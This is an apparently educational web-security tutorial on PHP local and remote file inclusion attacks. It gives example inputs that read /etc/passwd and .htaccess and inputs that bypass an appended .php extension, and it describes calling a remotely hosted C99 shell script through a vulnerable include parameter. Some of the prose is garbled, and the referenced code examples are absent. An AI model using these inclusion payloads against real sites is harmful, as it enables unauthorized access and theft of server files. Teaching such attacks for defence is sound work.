Inclusion Attacks

Whether users are discussing the PHP LFI or RFI inclusion attacks, one main facet remains the same. The attacks are aimed at pilfering information from the target through R/LFI methods to gain unauthorized access, modify code or perform some other unscrupulous acts against a PHP programmed web location. First and foremost, these attacks are discussed (in terms of security) in the PHP LFI/RFI Security Paper which details how the attack is made possible by innocent programming errors. More importantly the information is also displayed utilizing a cheap fix / cheap shot at implementing security.

The main goal of this information is to demonstrate how the attack is performed, and discovering the attack. Finally we will discuss some techniques you can utilize in making your job easier and also possibly modifying the techniques posted herein.

LFI Attacks

LFI attacks are exactly what they seem to be. The method of locally including a file that resides on the vulnerable web server. In our examples we've fabricated a vulnerable we location, and then we've proceeded to modify the code as the attacks progress. We've performed these methods to demonstrate this as clearly and as effectively as possible. So, where can and how do we find if the web application is vulnerable? The vulnerability lays in the web applications method to obtain a file. And, the request looks like this:

Although it is not pictured here, the request may also include the following: index.php?ID=page.php In any case, any web locations which have a question mark at the end of the php extension indicate that the web location may fall vulnerable to the RFI/LFI attacks. In order to make this attack work for us, we first need to see if we can include any files locally. Local files would be the /etc/passwd file, and finally, any files in the web root (e.g: .htaccess). So, let us insert the following details within the page parameter and see if the web location is in fact vulnerable. Here we are requesting the .htaccess file:

In the above we can see that the request for "Options -Indexes" is listed; although to many this may seem and mean nothing, to an attacker this means that his LFI request is in fact working properly. So, what else can the attacker do? Well, he could attempt to gather the information to see which users are on the box; and this is done by requesting the /etc/passwd file. To accomplish this, an attacker can simply perform the following:

Clearly we can see that the vulnerable web application has included the /etc/passwd file on this linux server. Many times you may not come across a php application which is this easy to include the /etc/passwd file. Many times you will need to escape multiple / traverse multiple directories in order to achieve this task. However, the main goal of LFI remains the same.

So, why was this web application so vulnerable to begin with? If we take a look at the code in this example: Insecure PHP Include Statement we can clearly see why the code is will handle this request without second guessing it. This is what makes the LFI attack possible.

Assuming Security - Remote Inclusion

We all know what the statement is never assume because you make... yeah! Anyhow, what happens is that programmers who "think" they are security inclined will be more apt to doing something like this: Request .PHP in Include Now, the problem with this is that although the file will in fact request for the .php in the include statement itself, it may seem as though there is no method to escape the sequence... Or, is there? Remember how many times we've preached about escape sequences? Well, here is one of the many times you'd be needing to utilize one. As simple and as crazy as it may sound the almighty question mark (?) yes, the question mark will and can escape the sequence and dismantle the .php ending. This is kind of like an escape sequence, but for PHP (null).

Now that when we attempt to obtain any requests such as /etc/passwd the web application will annex a .php to the ending of the request. Why? Because we need security and we've told it to! So, lets take a look:

In the example with the warning on the /etc/passwd.php section, we can see that the web application is clearly adding the php ending to the request. So, we can perform the following in order to bypass this: /etc/passwd? this will drop off the remainder of the statement and just give us the file we are looking to pilfer; if that doesn't work, we can also include the following: index.php?foo=/etc/passwd%3F and drop off the remainder of the request with an encoded question mark. If that doesn't work, we'd have to go into full blown RFI.

In order to perform the full blown attack with RFI, we need first understand how the attack is performed. The attack is achieved by placing files (with no extensions for simplicity, or .log extensions) on a remote server (angelfire, etc) and then calling those files to be executed on the target which is vulnerable, in this case michael so we achieve the tests in this fashion: index.php?PAGE=website_you_control.com/script.log within that script.log file, you can include coding of C-99, and PHP functions to be executed on the server and grab files for you. You can also iterate arrays to pilfer through many types of directory traversal attacks and until you exhaust all possibilities, or hit the /etc/passwd file. Just to have a better understanding for what this attack does in fact look like, we've included the following example below (remember the question mark escape sequence works here, too!)